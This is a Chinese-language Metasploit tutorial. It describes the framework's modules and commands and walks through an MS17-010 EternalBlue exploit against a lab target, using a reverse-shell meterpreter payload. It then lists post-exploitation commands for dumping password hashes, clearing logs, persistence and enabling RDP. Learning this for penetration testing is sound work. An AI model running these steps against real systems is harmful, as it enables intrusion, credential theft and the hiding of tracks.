文章目录
一、Metasploit简介
Metasploit Framework(MSF)在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发、测试和使用恶意代码,这个环境为渗透测试、shellcode编写和漏洞研究提供了一个可靠平台。Metasploit核心中大部分由Ruby实现,一部分由汇编和C语言实现。
二、Metasploit文件结构与模块
2.1 文件结构
路径:/usr/share/metasploit-framework/
config
:MSF环境配置信息,数据库配置信息;data
:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息;document
:用户说明文档及开发文档;external
:MSF的一些基础拓展模块;lib
:基础类和第三方模块类;modules
:MSF系统工具模块;plugins
:第三方插件接口;scripts
:MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行;tools
:额外的小工具和第三方脚本工具;msfconsole
:MSF基本命令行,集成了各种功能;msfd
:MSF服务,非持久性服务;msfdb
:MSF数据库;msfupdate
:MSF更新模块,可以用来更新MSF模块;msfrpc
:MSF的服务端,非持久性的rpc服务;msfrpcd
:持久性的MSF本地服务,可以给远程用户提供rpc服务及其他http服务,可以通过xml进行数据传输。
2.2 模块
-
exploits
(渗透攻击/漏洞利用模块)
渗透攻击模块时利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流程的渗透攻击技术包括缓冲区溢出、web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。 -
payload
(攻击载荷模块)
攻击载荷模块是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码。
攻击载荷模块从最简单的添加用户账户、提供命令行shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型。 -
auxiliary
(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。与exploits模块的区别:
- exploits模块一般需要与payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码。
- auxiliary模块不需要与payloads模块联合使用。
-
nops
(空指令模块)- 空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90。
- 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的shellcode执行失败。
-
encoders
(编码器模块)
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务:一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符";二是对攻击载荷进行”免杀“处理,即逃避反病毒软件、IDS/IPS的检测与阻断。 -
post
(后渗透攻击模块)
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各种各样的后渗透攻击动作,如获取敏感信息、进一步横向拓展、实施跳板攻击等。 -
evasion
(规避模块)
规避模块主要用于规避Windows Defender防火墙、Windows应用程序控制策略(applocker)等的检查。
2.3 常用命令
msfdb init //msf数据库初始化
apt install metasploit framework //msf更新
msfvenom //多平台攻击载荷生成器
msf-nasm_shell //将汇编指令转换为对应的16进制机器码
msfconsole //打开msf终端
search //搜索包含关键字的模块
use //选择使用一个模块
show payload //显示该模块支持的payload
show options //显示该模块需要设置的参数
info //详细信息
set //使用模块后,设置模块所需要的参数的值
back //回到上级状态
exploit/run //运行攻击模块
sessions //查看当前连接的会话
三、利用Metasploit进行渗透测试测一般流程
- 扫描目标机系统,寻找可用漏洞;
- 选择并配置一个渗透攻击(漏洞利用)模块(exploits);
- 选择并配置一个攻击载荷模块(payloads);
- 选择一种编码技术(encoders),用来绕过杀毒软件的查杀;
- 执行渗透攻击;
- 后渗透阶段的操作。
四、利用ms17-010漏洞对靶机执行溢出攻击
分别输入以下命令,使用ms17_010_eternalblue
模块对目标机的ms17-010漏洞进行利用:
use exploit/windows/smb/ms17_010_eternalblue //使用ms17_010_eternalblue模块
set RHOST [靶机IP] //设置远程主机(靶机)的IP地址
set LHOST [操作机IP] //设置本地主机(操作机)的IP地址
set payload windows/x64/meterpreter/reverse_tcp //使用payload:meterpreter/reverse_tcp
set RPORT 445 //设置目标端口
set target 0 //设置目标操作系统类型(此处为自动识别类型)
run //执行
溢出攻击成功后,返回meterpreter提示符
:
常规情况下用
exp
攻破了系统,需要与靶机进行通信,以便操纵靶机,一般用反弹shell,这个反弹shell的代码就是payload
。
关于reverse_tcp与bind_tcp:
- reverse_tcp:攻击机设置一个端口和IP,payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口就会发现目标机已经连接。目标机主动连接攻击机的IP和端口。
- bind_tcp:攻击机设置一个端口,payload在目标机执行打开该端口,以便攻击机可以接入。目标机打开端口,等待攻击机连接。
五、后渗透模块meterpreter的使用
5.1 常用命令
pwd //打印当前工作目录
sysinfo // 查看系统信息
getuid //获取当前权限的用户id
ps //查看当前目标机上运行的进程列表和pid
getsystem //获取system权限
screenshot //截取目标主机当前屏幕
hashdump //获取用户名与hash口令
shell //获取目标主机shell
upload //上传一个文件
download //下载一个文件
execute //执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口)
clearev //清除日志
background //将meterpreter放入后台(使用sessions -i重新连接到会话)
5.2 meterpreter脚本
(1)默认存放路径:/usr/share/Metasploit-framework/scripts/meterpreter/
(2)使用方法:run <脚本名称>
(3)常用脚本
vnc //查看目标机屏幕
arp_scanner //检测所在局域网中的存活主机
scraper //列举系统信息,包括用户名和密码、下载全部注册表、挖掘密码hash值等
persistence //运行在目标机注入meterpreter代理,确保系统重启后meterpreter还能运行
post/windows/manage/enable_rdp //开启目标机的远程桌面服务,使用前需要先运行getsystem命令获取系统权限
post/windows/manage/migrate //可以将meterpreter会话迁移到内存空间中其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。